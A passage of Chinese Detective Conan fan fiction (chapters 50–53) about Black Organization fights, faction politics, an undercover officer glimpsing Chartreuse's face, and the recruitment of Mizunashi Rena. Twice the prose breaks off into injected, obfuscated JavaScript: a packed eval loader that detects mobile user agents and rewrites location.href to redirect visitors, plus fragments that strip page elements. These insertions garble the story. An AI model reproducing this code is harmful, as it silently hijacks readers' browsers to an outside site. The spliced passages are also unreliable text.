嘶——! 周围响起一片倒吸冷气的声音,基安蒂、卡尔瓦多斯、科恩,甚至连波本苏格兰和莱伊都露出了难以置信的神色。 十四岁?差点单杀琴酒?!这简直是天方夜谭! “别这么看我,这是真事。”贝尔摩德抖了抖烟灰,“刚从训练营里毕业的毕业生要接受毕业生前辈的试炼——就像现在,阿尼赛特需要和作为学长的琴酒和夏特勒兹对打,只不过当年琴酒和夏特勒兹打的时候嘛……哼。” 回到下面的格斗场,阿尼赛特终于抓住机会,仅剩的右腿如毒蝎摆尾猛地蹬向夏特勒兹胸口。 在阿尼赛特腿部肌肉发力的瞬间,夏特勒兹就像已经预知一般,身轻如燕轻轻往后一退避开攻击,同时左手快如闪电探出,抓住对方的脚踝一拧一抖! 咔嚓! “啊——!” 夏特勒兹松开手,任由阿尼赛特如一滩烂泥瘫软在地。他的四肢呈现出不自然的扭曲角度,只有胸膛的剧烈起伏证明他还活着。 而整个过程夏特勒兹甚至没有流一滴汗,呼吸依旧平稳悠长,仿佛只是做了一件微不足道的小事。 “没有关系吗?”贝尔摩德吐出一口烟圈,看着地上彻底失去反抗能力的阿尼赛特,“就这么放了他?” 她的意思很明显,以琴酒和夏特勒兹的手段,完全可以无声无息地废掉这个朗姆麾下的新人。 夏特勒兹沉默,琴酒也抱着手臂冷冷地看着地上的阿尼赛特。 然后,两人几乎是同时开口,声音里带着种同出一辙的、冰冷的、居高临下的漠然。 “[没关系。]” “你不也知道吗?” “[他只是个失败品。]”/“一个失败品罢了。” 失败品…… 冰冷的话语如同宣判,砸在死寂的训练场上。这个词像一支利箭,刺在地上的阿尼赛特心中,也深深刺入在场的所有人心中。 这就是训练营残酷的隐藏规则。百人存一,毕业并非终点,BOSS最终的认可才是真正的活路。 不被BOSS认可的毕业生,也只是被高强度利用后就可以随意丢弃的耗材。 阿尼赛特,显然就是这样的存在,不然BOSS也不会把他划分给朗姆。 就算意识逐渐模糊,但那句“失败品”还是让阿尼赛特的身体剧烈颤抖了一下,茶色的瞳孔里,是疲惫也遮掩不住的绝望与茫然。 夏特勒兹不再理会神色各异的众人,他转向琴酒的方向,电子音毫无波澜:“[走了。]” 琴酒瞥了他一眼,从鼻腔里发出一声意义不明的轻哼,同样迈步离开。 脚步声在空旷的训练场里显得格外清晰,作为训练营真正意义上的唯二毕业生,银发的top killer和蒙眼的shadow killer的身影逐渐消失在通道深处。 51.加班 这一章我总感觉有点问题……我有空再回来改(鞠躬) 以防万一先放个脑子寄存处! —————— 阿尼赛特的出现,带来的情报无疑是巨大的。 他掀开了杉本教官未曾细说的训练营的残酷一角,同样也在新的一年给组织内部的势力斗争带来了新的变化。 自从朗姆得到阿尼赛特后,情报组分配给行动组的任务减少了一些——虽然不太明显,但细心的人多多少少都察觉到了一点。 “真难得,在酒吧见到你们两个。”苏格兰回神,看向朝他们走来的金发青年。 波本身穿一身比较休闲的正装,带着的白手套与较深的肤色形成鲜明的视觉差,显然刚从哪个应酬场上下来。 “我们聚在一起喝酒的次数可不少。” “毕竟托阿尼赛特的福,我们行动组最近都挺清闲的。”莱伊悠闲地晃了晃酒杯,冰球与玻璃杯壁碰撞发出清脆的响声。 嘁。 明明任务越多才越好收集情报更好了解组织,为什么从莱伊这家伙嘴里说出来就感觉这么不对劲。 oi,听说你们最近很忙?忙着加班呐?[沙滩,遮阳伞,墨镜,躺椅,举杯.jpg] ——这种感觉。 波本额角冒出十字井号,苏格兰丝滑接过话茬。“不过反过来你们情报组的工作量增加了不少吧?波本你都有黑眼圈了。” 苏格兰的神奇之处就在于此,原本准备炸毛的波本闻言顺着话题转移注意力:“诶?有吗?” “嗯嗯,虽然不太明显……放心,不仔细看看不出来。”苏格兰抬手喊来调酒师,也给波本叫了杯酒。“所以,你最近怎么样?” “还能怎么样?忙——死了。” 波本顺势坐下,要不是顾着莱伊在这儿他早就累得趴在吧台上了。他知道苏格兰真正想问的是什么,因此神情也严肃下来。 “虽然琴酒和夏特勒兹说那家伙是失败品,但他们评判的标准是什么可不好说。” 和琴酒的近战远战全能、夏特勒兹的高超潜入暗杀能力不同,阿尼赛特擅长的东西格外张扬。 ——冲锋。 敏锐的直觉带给他极高的生存能力,无论是破门侦查还是收尾的火力掩护,受过训练营培训的他都能应付过来,有他在的任务生存率都提高了不少。 而且不知道是不是那句“失败品”的原因,阿尼塞特铆足了劲接任务,似乎想借此证明自己—— “他是想和琴酒竞争劳模的位置吗?”波·情报组同僚·本犀利吐槽,“连带着我们也开始加班。” 啊,可是在阿尼赛特之前,你也是带动情报组加班的主力啊。 波本和他以及苏格兰出任务的次数肯定比不过他自己单独的任务次数,波本出色的任务完成度当时可是给了其他情报组成员很大压力。 莱伊想了想,还是将这句绝对会惹波本炸毛的话咽下去。 啊哈哈……苏格兰掏出手机查看新的邮件信息,半晌后苦笑。“其实加班的不止你一个。” 看着站起身的苏格兰,莱伊挑挑眉,也翻出手机查看邮箱:“我这边可没收到消息。” “啊,是夏特勒兹那边的任务。” “是吗,真是稀奇。” “也算正常吧,毕竟任务多的话为了效率会减少对细节的把控……阿尼赛特的收尾能力好像不太好,任务撤退闹出的动静挺大。” “如果不是阿尼赛特抢着接任务的话,那些任务原本应该落在夏特勒兹手里。”苏格兰将贝斯包背上肩,语气中透露着无奈。“虽然不知道为什么最后任务的收尾工作最后会落在我们身上,但夏特勒兹对此很是生气。” 气得在给他发的邮件PS里狠狠骂了阿尼赛特几句。 * “[和你们这些‘录取’的成员不同,因为训练营出身的原因,阿尼赛特属于‘保送’那一挂,所以接的任务等级比你们高些——高到朗姆那一派能够收尾这个任务的只有他自己。]” 诶?意思就是…… “这个任务很重要?”趴在高楼天台处准备狙击的苏格兰视线落在身旁只穿了一件薄冲锋衣的蒙眼青年身上。 “[对,我必须全程跟进的那种。那老东西年纪大了胆子反倒变小了,这种任务他可不敢自己出,只能捏着鼻子扔给我——任务的前情提要我不能告诉你,你只要开枪就好。]” 大过年的加班可不是一件好事,尤其是这种冷得钢铁仿佛都能脆裂的夜晚。空气里弥漫着城市夜晚特有的味道——冷却的引擎废气,遥远的食物香气,以及一丝不易察觉的、属于冬季的干燥尘埃气。 这是一个很适合在被窝里长睡不起的夜晚,他不应该在忒高的天台上吹冷风受冻。 夏特勒兹靠在冰冷锈蚀的栏杆基座旁,身形几乎要融进那片孤寂的黑暗。他伸出揣在兜里的手,感受了一下此时的风速。天台的风像刀子般刮过皮肤,本就捂不暖的手指尖瞬间被冻得泛红。 “[风速7.2,西南。]” 咻! 等了片刻,他听见子弹射出的声音被消音器压住,直到身旁苏格兰开始收枪才问道: “[成了?]” “嗯,任务完成。” 于是夏特勒兹对着掌心呵气,白雾从唇间溢出,又很快消散在风中。“[那就撤退吧,我会找人去确认目标情况的。]” 很严谨呢。平常这类任务都是他完成后知会夏特勒兹一声就行,夏特勒兹似乎很放心他,知晓后通常都不会再去过问。 ……嘛,因此他也联合公安救下了不少证人。 诸伏景光的目光沉了沉,虽然他知道他救不下所有人,但为了卧底任务而亲手杀死一条生命的滋味还是不好受。这种感觉会在深夜从胃里反涌而上,舌尖会再次品尝扣下扳机时良心的痛楚。 啊切。 小声的喷嚏声唤回他的思绪,只见身旁人在准备打第二个时猛地捂住嘴,片刻后才松开,揉了揉发痒的鼻子。 “天这么冷您还穿这么少。”他忍不住叹了口气,从口袋里翻出手帕纸递出。 “[……布料太厚会影响行动。]” “那你就等着感冒吧。” “[……]” “[我会回去冲感冒冲剂的。]” 唉……算了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259262|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看着立马怂掉的蒙眼青年,诸伏景光没招了。 “先临时征用吧。”他将脖子上伪装用的红色围巾取下塞夏特勒兹手里,“但愿您回去后我不用三更半夜去查看您发没发烧。” “[……谢了。]” 苏格兰看见夏特勒兹将围巾胡乱地在脖子上绕上两圈,忍不住开口:“您这样和没系有什么区别。” “[抱歉,我没怎么戴过这类配饰。]” “需要帮忙吗?”不知联想到什么,苏格兰的语气一瞬间竟有些愉悦,但很快又反应过来。“咳,我是说,如果您不介意的话。” 蒙眼青年歪了歪头,没有计较对方的冒犯。“[没有的事,麻烦你了。]” “这样的话,失礼了。” 诸伏景光接过围巾,双手小心翼翼地凑近,但还是敏锐捕捉到蒙眼青年身体瞬间的紧绷又放松——本能的防御,却又因为接近的是他又强制压下。 他默默加快手上的速度,确认冷风渗不进后退后两步。“好了。” 蒙眼青年闻言动了动,忍不住伸手碰了碰脖子上的织物。触感是较为粗糙的针织,显然是便利店里的便宜货,但围巾还带着体温和没有消散的硝烟味,混着苏格兰身上常用的洗衣粉气息,让他还是忍不住用鼻尖蹭了蹭毛线边缘。 围巾遮住小半张脸,眼睛上再蒙黑缎就显得突兀了。 于是青年摸索着解下黑缎,露出低垂的眉眼。睫羽的遮掩下,没有焦距的雾蓝色都显得混沌许多。 诸伏景光感觉有什么东西堵住了他的呼吸,但很快那片雾海被迅速压低的鸭舌帽檐遮住。 ……这是什么意思。 无意?还是试探? 卧底的本能让脑子疯狂运转,但他好像也不知道转脑子来干嘛。于是他张了张口,才惊觉自己已经闭气有一会儿。 下楼梯时他们默契地保持了沉默。直到走在冬日寂寥的街道上,接到底层人员发来的确认信息的夏特勒兹调转步伐离开,确认对方的身影消失后,胡茬青年才机械地迈开步伐,闪身钻进一旁的无人小巷。 脸。 他看见了。 脑海里显现出对方的肖像,挖空的眼睛部分被刚才的记忆逐渐填补。得出来的成像仍有拼凑的突兀,但这仍意味着他得知了夏特勒兹的真容。 可是不可能。 为什么不可能? 太过割裂了。 夏特勒兹的样子是一条非常重要的情报,据说组织里没有人见到过。 太过割裂了。 夏特勒兹是十分危险的人物,或许比琴酒还要危险。 太过割裂了。 夏特勒兹是BOSS的亲信。 太过割裂了。 夏特勒兹的眉眼隐隐透着锋利,瞳色是蓝色……雾蓝色。 …… 太过……相像了。 心中天平的一端又增添一枚砝码,于是倾斜的天平又重归平衡。 卧底搜查官的瞳孔震颤,忍不住伸手捂住嘴巴,才发现他的手过于冰冷。 —————————— 这一章的剧情还请看一下作话谢谢~ 52.试探与新人(二合一) 四月一日,一个让学生开心不起来的日子——因为开学啦~ “[组织又不是学校,为什么招人入职也要挑这个时间。]” 苏格兰眼睁睁看着安全屋的门被敲响,片刻后门锁被拧开,蒙眼的青年堂而皇之地登堂入室—— 然后一屁/股坐在饭桌前坐等开饭。 这段时间夏特勒兹格外忙碌,就算在组织里也碰不上几面,距离上一次见面已有两个月之久,也就是那次狙击任务。 自从那一次带生病的夏特勒兹回来,夏特勒兹好了后就把这个暴露的安全屋的钥匙给了苏格兰。除了一些需要两人合作的任务时夏特勒兹会来这里住上一段时间,大多时候安全屋都是苏格兰在使用。 啊…虽然这个安全屋原本就是夏特勒兹名下的但是…… 是不是太过理直气壮了? 苏格兰欲言又止,苏格兰止又言欲。 “招人?” “[对,组织招了几个新人进来,我需要要一个。]” “您不是不能成立派系么……啊。”苏格兰反应过来,“因为阿尼赛特?” 琴酒的行动组和朗姆的情报组,因为阿尼赛特的毕业,两个派系好不容易维系起来的平衡被打破了。 诸伏清浅说心里不慌绝对是假的。朗姆是谁?那家伙从父辈那里继承了代号,诸伏清浅从训练营毕业的时候他已经是组织的二把手。 这么多年下来,他和琴酒私下合作,才在这么短的时间里将二把手的一家独大变成两强对峙,自己则是遵从老乌鸦的意思一边压制朗姆的发展,一边用合作制衡琴酒,在中间当一个调停者。 如今朗姆得了阿尼赛特,能做的事情多了起来,也惹得琴酒对朗姆的敌意和针对慢慢增加——两边的摩擦一多,遭殃的就是夏特勒兹自己。 他一边要警惕阿尼赛特的可疑举动,人家的任务一旦没做好收尾擦屁/股的就是他和琴酒;一边又要抽空给琴酒提供任务情报——他和阿尼赛特杠上了,接的任务等级不低,疑心病重的银发杀手信不过别人,就逮着属于情报组的夏特勒兹薅。 然后他自己也要完成BOSS下发的任务,同时时常因为阿尼赛特的任务,哗哗来的报销账单让他焦头烂额,他已经数不清是第几次后悔答应罗马纳把财务管理的权限接过来。 为什么到最后是我自己遭罪啊?!他不理解! 或许是夏特勒兹忙疯的身影终于挑起BOSS的同情心,于是特批夏特勒兹能再选一位新人当下属。 什么?还要带新人?! 诸伏清浅差点一口气没缓过来,不情不愿地去后勤组找罗马纳要了新人名单,在“看”见名单上水无怜奈的身份信息后,他悬着的心终于死了。 得,剧情节点。 [不辛苦,命苦.jpg] 早上全用来折腾了,回过神来已经是中午。他想了想,安全屋和便利店之间还是安全屋比较近,于是本着就近原则,他决定撬门去苏格兰那儿蹭饭。 反正下午他们得集/合去见一见新人。 “在基地吗?” 本着某些原因,诸伏景光很快接受了夏特勒兹来蹭饭的事实。他给夏特勒兹添了副碗筷,从冰箱里多拿了些食材。 “[嗯,下午去基地,罗马纳会把人带过来……岩上会来接我们过去。]” 接下来两人都没有说话,苏格兰在厨房安静准备食材,夏特勒兹则在饭桌前用加密平板继续处理组织的事务。 * “您的份。” 餐盘与桌子磕碰发出轻响,诸伏清浅仍在和手里的平板作斗争。他把先前收集的情报资料整理好打包发给琴酒,按下发送键的同时,他舀起一勺蛋包饭送入口中。 还有没有处理的任务……这些等级不算太高,可以下发下去让底层人员做;这些任务……诶?这不是我这边的任务吧?朗姆这家伙又偷偷加塞...打回打回! 诸伏景光状似忙碌地收拾厨房,实则借用抽油烟机控制板的反光偷偷观察。 第二勺,第三勺……直到第五勺饭送进嘴里,蒙眼青年握勺的手突然悬在半空。 咀嚼的速度明显变慢了。诸伏景光顺势放下手中的抹布,问动作停下来的蒙眼青年:“不合口味吗?” ……不,相反,很合口味。 但就是太合口味了。 如果诸伏清浅打开系统的外置视野,就能看见他面前被蛋皮包裹的深色炒饭——那是用酱油调味的证据,根本不是寻常蛋包饭该有的颜色。 “[咸的。]” “抱歉抱歉,是吃不习惯吗?”苏格兰的语气里带着歉意和担忧,“我记得您偏好咸口,所以蛋包饭特意试了一下咸口的做法……需要我重做一份吗?” 特意试一下咸口的做法……确实是故意的。 诸伏清浅将嘴里的饭咽下去,舌尖还残留着鸡蛋和米饭的咸香味道。 日本蛋包饭都默认是甜口,这个认知就像奶茶是甜的一样深入人心。 当然,奶茶也有咸奶茶,但奶茶的甜花样百出:酒酿的甜,花蜜的甜,水果的甜,鲜奶的甜……而咸奶茶却不能咸得乱七八糟——至少诸伏清浅没有尝到过。 同理,想要吃咸口的蛋包饭就只能专门定制或者——自己做。 但夏特勒兹一向对吃食很随意,按他表现出来的性子是不会做出专门让餐厅做咸口蛋包饭的要求的。 无论这个咸味是好吃还是难吃,一般人在吃第一口的时候就应该发现蛋包饭的口味不对。而夏特勒兹吃了好几口才反应过来—— 说明之前有人给他做过咸口的蛋包饭。 …… 而且味道可能很相似。 因为家里有个咸党的弟弟,所以诸伏景光做咸口蛋包饭的经验只能来源于诸伏妈妈,做出的饭菜自然带着诸伏妈妈的影子。 而屋子里的另一个人,同样吃过诸伏妈妈的饭。 哈,真是……时刻也不忘套取情报啊,景光哥。 “[……不用,能吃。]” 是意识到自己的身份了吗?诸伏清浅若无其事地恢复原样,继续手里的动作。 ……意识到也没事,只要他不承认,他就永远只是夏特勒兹。 * 到基地的时候是罗马纳亲自来接。她冷棕色的头发有些凌乱,显然已经有段时间没有好好打理,眼底的青黑也证明着她最近的忙碌。 三人下车的时候她头也没有抬,仍然在一目十行地将手中平板里的报表看完。随着脚步声的接近,她淡淡开口:“刚刚你们情报组撞毁了这个月的第七辆车,报废了第三个安全屋……剩下的你看着办。” “[琴酒反馈过靶场的维修……听说你还没给他报销?]” “……算了,我们俩就别互戳痛处了。”罗马纳嘴角抽搐,丝毫不惧发出暴论。“说真的,你们什么时候处理掉那个失败品?” “……算了,当我没问。”她揉了揉眉心,没有等夏特勒兹的回答——她知道对方也不会回答,于是转身带着他们往基地里走。“走吧,新人都在里面等着。” 岩上一郎顺势后撤一步:“那我在车里等您。” 中年男人正想离开,但下一刻玄黑的导盲杖抬起,横在他面前拦住去路。 “[你也来吧,就算你现在离开摸鱼也逃不了带新人的工作。]” 罗马纳调侃:“哦豁。” 岩上一郎:……他要不要解释他没有摸鱼的意思。 训练场内的新人在听见脚步声后立即绷紧,罗马纳从平板里调出档案给夏特勒兹,但蒙眼青年看也没有看,直接转手递给苏格兰。 这一批新人一共四人,两男两女。夏特勒兹仔细听着四人的呼吸声,捕捉着其中透露出的信息。 他半晌才编辑电子音。 “[先按流程来一遍吧。姓名,年龄,身高,体重,职业,加入组织的原因,会用的武器……没有就不用说。]” “啊…是!”排在最左边的男子眼里闪过紧张,站得更笔直了些。“早川明,34岁,身高172,体重72公斤……职业是电子工程师,受秋田小姐的邀请前来。” 秋田小姐,也就是罗马纳。看来是被组织“邀请”来的技术人员。 “小柳雅子……药剂师。” “武田诚……前雇佣兵,单干太难所以找了个势力投靠。擅长狙击。” “水无怜奈……无职业,欠了高利贷,你们这里说能帮我还钱我就来了。有一点格斗和射击基础。” 夏特勒兹做了个深呼吸,放松地靠在椅背上,手指在桌子上有一搭没一搭地敲着。他半晌才微微侧头,用电子音问苏格兰:“[你觉得哪个合适?]” “您决定就好。”苏格兰微笑,“我都支持。” “[岩上呢?]” 岩上一郎克制地收敛视线。他感觉他的喉咙发紧,但实际上他的声音依旧平稳。 “我没意见。” “[你们这样真的很让我难办……]”于是蒙眼青年转移目标,“[挑剩的人你打算怎么处理?]” “全部归后勤组。”罗马纳淡漠的语气下藏着深深的怨念。“行动组和情报组给我们这边添了这么多麻烦,我一个也不打算给他们留。” 谢谢你,罗马纳。 夏特勒兹心里实打实的给罗马纳道了声谢。 因为如果只是寻常的新人挑选就算了,但这个时间点真的很难评。组织吸纳新人大部分时候都秉持着“手慢无”的原则,谁收到谁负责,天赋潜力不错的就会被送来基地参与训练。 像这种能直接拿出来给他挑的新人,说明他们的实力都不错,他挑剩下的估计都会被分配到琴酒或者朗姆手下。 匹斯可管理的后勤组如他本人一样隐隐退居二线,已经不太参与权力的争夺。如今后勤组吞掉其余三位新人,那么组织如今的局面不会有太大变动——除了获得一个新下属的夏特勒兹。 “[水无的口音很标准……外貌怎么样?]” “能当明星。”罗马纳言简意赅。 “[那就水无吧——电视台那边确实少了我们的眼线。]” “你确定?”罗马纳手里的动作不由自主停下,“现在这种情况,你不是更应该选个能帮忙处理脏活的人吗?” 她点了点手里的平板,“那家伙撤退得太匆忙,有人拍到了阿尼赛特的照片。” “[这就是原因啊。]” 夏特勒兹的手机适时震动一声——是琴酒的邮件,显然对方也知道了这件事。 “[你看,加班无处不在——我哪有时间带新人。]” 他起身时顺手将椅子放好,“[岩上先带着她吧。]” 铁门重重合拢,罗马纳同情地拍拍岩上的肩:“你节哀,那三位我就先带走了。” 沉默开始在训练室里蔓延。苏格兰适时背起贝斯包,露出一个温和却疏离的笑:“那以后我们就是同事了,水无小姐。” 水无怜奈认真地点点头,微微躬身:“前辈,请多指教。” 岩上公事公办地点点头:“我带你先去熟悉一下装备的申领流程。” 他朝苏格兰微微点头示意,先带着水无怜奈离开。 走廊尽头的拐角,夏特勒兹正将吃剩下的糖纸折好塞进口袋。听到脚步声接近后他迈步离开,苏格兰自然而然地跟在他身后。 “这样值得吗?选了水无小姐。”他看见前方蒙眼青年耳中塞着黑色的耳机——是窃听。 “[小柳雅子的能力我用不上……我也不会让她当我的家庭医生的。我最近没时间管新人,以早川明那家伙表现出来的性子,说不定会为了证明自己而惹出什么祸来。]” “[而且同样是狙击手的你应该也察觉到了吧?]”夏特勒兹抬了抬他的右胳膊,“[他站立的重心偏右,是右利手。而他右边的肩膀显然受过枪伤。]” 手臂受伤会影响狙击的精准度。苏格兰确实看出来了。 “[更何况,苏格兰你已经足够够用,我没必要把人招进来引发没有必要的竞争。]” 苏格兰闻言心情突然松快了一些,调侃道:“我是独一无二的?” “[没有必要明知故问。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292383|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 夏特勒兹收回心绪,黑缎下的双眉不自觉微微瞥起。 仅自己可见的系统面板尽职尽责地标注出范围内所有人的定位,其中被特意标注出来的黄色定位让他很是在意。 吉原本树,先前和工藤一家出去吃饭,案件里的嫌疑人之一——朗姆的手下。 他和罗马纳以及三位新人碰面了。 “你来干什么?” 罗马纳的声音从耳机里传出——窃听对象并不是苏格兰以为的对新人水无怜奈的监听排查,而是带着其余三位新人的罗马纳。 ……他并不认为朗姆会对这次新人挑选什么也不做。 “来报销。”吉原本树随意一扫三个新人的样貌,心中有了判断。 要走了那个欠高利贷的女人……为什么?他还以为会是那个雇佣兵。 “你们情报组的报销要找的是夏特勒兹,不是我。” “不,这一次真的得找你。”吉原本树回神,“阿尼赛特出任务的地点是你们名下的产业。” 罗马纳:“?” 罗马纳:“阿尼赛特我c%*#&¥!” * 诸伏清浅摘下耳机,同情罗马纳三秒,决定以后要抽空和她道歉——为了那个窃听器。 剩下的时间他用来思考吉原本树的用意。 报销谁来都能报销,但吉原本树身为朗姆的得力下属之一,他亲身前来定然有其他用意。 比如说确定夏特勒兹的新下属是哪位。 ……他突然有个不好的猜测。 “夏特勒兹。” “[?]” 苏格兰唤回夏特勒兹的思绪,侧了侧身。“你走过了。” “停车场在左边。” “[……哦。]” * “其实我也在好奇,就是罗马纳的问题。” 苏格兰坐在驾驶座上启动车子,雨刮器将玻璃上的雨滴擦成规律的扇形。他通过后视镜看了眼后座显然仍在用平板处理工作的蒙眼青年,屏幕荧光把他的脸映得忽明忽暗。 “其实您并没有您所说的那么忙碌吧?带新人的时间应该还是有的。” 平板电脑的滑动停顿了一瞬。夏特勒兹抬起头,蒙眼黑缎微微转向苏格兰的方向。电子音平静无波:“[如今的局势已经初步达成新的稳定局面,绿川。不需要再添加多余的变量。]” “[朗姆权利再大,在我看来他也没有资格去驱使训练营出身的人,我更倾向于他们之间达成了合作。阿尼赛特需要增加自身筹码,想办法提升自我价值……而朗姆需要一把刀,既要足够锋利能伤敌,又要足够脆弱易折断。]”电子音顿了顿,“[他们是互利互惠的关系。]” “[有趣的是,]”电子音继续平静分析,“[每次阿尼塞特搞砸的任务,最终受益的都是朗姆派系。]”夏特勒兹回忆着这段时间处理的相关任务,“[就像上个月郊外一处废弃工厂据点‘意外’爆炸后,朗姆的私人实验室产能增加了30%。]” “您似乎并不担心?”苏格兰稍稍加重油门。 “[我说了,现在已经初步达成了平衡。]” “[琴酒以为自己在利用我制衡朗姆,朗姆以为自己在利用阿尼塞特牵制琴酒和我。]”电子音突然模仿起朗姆的嘶哑声调,“[‘让疯狗去咬狼群,自己只需牵着绳子确保自己不会被反噬就行’——他是这么想的吧?]” 苏格兰握方向盘的手紧了紧。这种程度的派系分析已经远超正常下属该听的范畴。 为什么会达成平衡?因为各方都有利可图。 朗姆协助阿尼赛特在组织站稳脚跟,提升自我价值,反过来阿尼赛特通过任务为朗姆牟利——这是朗姆和阿尼赛特间的利益链; 阿尼赛特的实力绝对不只他表现出来的莽撞,因为任务的搞砸需要琴酒和夏特勒兹收尾,某种意义上他牵制了琴酒和夏特勒兹的行动…… 但这同样代表着琴酒和夏特勒兹能够反过来牢牢摁住阿尼赛特,慢慢控制对方不让其蹦跶——这是阿尼赛特和琴酒、夏特勒兹三人的互相牵制。 朗姆的如意算盘则是借着机会与琴酒进行权利的争夺,同时也想借混乱的局势抓住夏特勒兹这个情报组同行的小辫子; 琴酒则是借着训练营的关系将夏特勒兹与自己捆绑,利用夏特勒兹制衡朗姆。 “那你呢?”他的思绪飘忽一瞬,回过神来已经来不及了,话语已经脱口而出,无法撤回。 夏特勒兹呢?他好像什么也没有得到。替阿尼赛特收尾任务是地位等级摆在那儿的分内之事,派系的平衡则是他的职责所在。 身为他的下属,苏格兰知晓夏特勒兹的定位——深受BOSS信任,被派来平衡两个派系的调停者,而不是加入战场的第三方——他必须保证自己是“干净”的。 或许有人会为他的处境感到可惜,但夏特勒兹实际上没有得到利益的必要,他也最好什么也没有得到。或许在夏特勒兹的认知里,权利争夺到最后都是要为BOSS服务的,只要不是背叛组织,他什么都无所谓。 因此他甚至反而从中得到了新的下属。 但诸伏清浅得到了。 阿尼赛特牵制住琴酒时,意味着琴酒原先自身的任务被耽搁——这为公安保下目标证人的行动提供了情报和处理的时间; 而朗姆不会无的放矢地让阿尼赛特行动,只要想办法往深处查,任务中暗含的势力、资金流动就是追本溯源的契机,诸伏清浅能借此摸清朗姆的势力和据点分布。 “[我?]”蒙眼青年将平板锁屏,放松自己倒在座位松软的靠背上。“[绿川,我说了,这是一个平衡。]” 这是蒙眼青年第二次喊他绿川,而不是下属苏格兰。 诸伏景光的脑子快速转动着。 “[我当然也有利可图。]” 那么自然,有利可图的不是夏特勒兹,而是蒙眼青年的另一个身份。 这趟浑水很浑水,不到最后谁也不能确定谁是赢家。诸伏清浅也不知道,但他绝对不会亏,也绝对不是这场博弈里的垫底。 53.伊森本堂(二合一) 诸伏清浅最坏的预感应验了,他忙着处理阿尼赛特的事情,朗姆就趁机来偷家—— 吉原本树十有八九已经开始着手调查水无怜奈。 ……妈的,我的人哪里用得着你来管?! 夏特勒兹沉默,夏特勒兹感到一阵牙酸,夏特勒兹决定把某人伸太长的手狠狠打回去。 既然已经确定这是一个必须经历的剧情节点,那么他最好把变量尽可能多的掌握在手中。 * 最近总是下雨,让整个世界都蒙上一层灰蒙蒙的滤镜。雨水敲击玻璃的声音成为安全屋内的背景音,衬托着时不时的鼠标点击声。 周围的环境相对安全,诸伏清浅就径直打开系统的外置视野充当眼睛,在高性能的电脑上敲出一串流畅的代码。 组织的内网代码由几位组织招收的社畜码农设置,精巧又暗藏玄机,但仍然受时代的限制。虽然麻烦,但以清浅的能力足以在内相对地畅通无阻。 诸伏清浅顺着数据流摸到吉原本树的终端,果然在加密文件的删除残留中还原出朗姆的命令——监视水无怜奈。 24小时后就会自动消失的特制发讯器啊……操作空间还算大,但原作里确实没有详细说明伊森本堂的死亡时间。 啧,麻烦。 诸伏清浅托着下巴,沉思半晌,决定调查一下水无怜奈最近的行程。 * “啊,水无?身体不舒服吗?”正在核对道具名单的同事偶然间瞥见新人苍白的脸色,不由得担忧道。 “没事,只是……稍微有些累。” “你这看上去可不是有点累的样子。”同事放下手中的名单,“反正电视很快就要开始录制,到时候应该就没我们什么事了……要不要先去休息室休息一下?” 装病的水无怜奈自无不可,顺势答应下来,离开了录制现场。 先去伪装一下现场吧。她快步前往休息室,却不想指尖还未触到门把手,门便从内猛地拉开。 “咳,咳咳……” 一个高挑的身影踉跄着撞出来,带着未散的呛咳声。水无怜奈下意识后退半步,对方却因惯性向前扑倒,情急之下一把扶住她的肩膀才站稳。 “啊,抱歉……”女生的声音嘶哑得只剩下气音。 水无怜奈抬眼,眼前是一位扎着利落高马尾的年轻女性,参观证松松挂在颈间,一双深棕色的桃花眼因剧烈咳嗽泛着生理性的泪光,眼尾微微发红。 她比水无怜奈还要高出小半个头。 “我没事。倒是你,没事吧?” 水无怜奈扫了眼对方的参观证——浅井弥生,是东都大学媒体研究科的学生。她注意到对方苍白的脸色和急促的呼吸,“需要帮忙吗?” 女生摆摆手,指指休息室内茶几上新换的百合花束,又指指自己的喉咙,艰难地用气音解释:“花粉……有点过敏……咳……” 她急促地喘了口气,像是多说一个字都费力,“不好意思……先走了……”说罢便匆匆离开,背影略显仓促。 望着女生捂着嘴匆匆离开,水无怜奈没太在意,只当是个被花粉困扰的访客。 休息室里有鲜花的话,那么她接下来不会再进来了。 她确认休息室里没人后,悄悄将门锁上,带着钥匙偷偷从电视台后门溜出去。 在马甲的内侧啊……做工这么薄,确实很难发现。 浅井弥生快步避开人群,漂亮的桃花眼低垂,将从水无怜奈身上悄无声息取下的发讯器擦干净,避免留下指纹。 * 夜晚的一处废弃仓库中,空气凝滞,弥漫着灰尘和铁锈的味道。四周唯一的照明是高处小窗投下的微弱光线,勾勒出空气中飞舞的尘埃。在确认周围没有人跟踪后本堂瑛海松了口气,将一张照片递给前来接头的伊森本堂。 “这位就是新的联络人,叫做巴尼……你应该知道吧。”* 见父亲接过照片,她任务完成般地松了口气。“那个人马上就会来了。”* 即使对面的人是他的女儿,伊森本堂也没有寒暄,而是保持着身为卧底搜查官的谨慎。“嗯,更重要的是,你没有被跟踪吧。”* “没有。”本堂瑛海摇了摇头,“现在正好是电视的录影时间,我假装身体不舒服,想要找个地方小睡一小时,中途溜出来的。” 她如今已在夏特勒兹的安排下进入日卖电视台工作,恰巧知道了这个地方。 这里离电视台也很近,也是组织决定的下一个交易场所,听说岩上一郎会提前来查看后本堂瑛海觉得这是一个好机会,就用暗号约了父亲在这里碰头。 中途溜出来的? 伊森本堂有种不妙的预感,不由得皱紧眉头。“你有没有换衣服?” 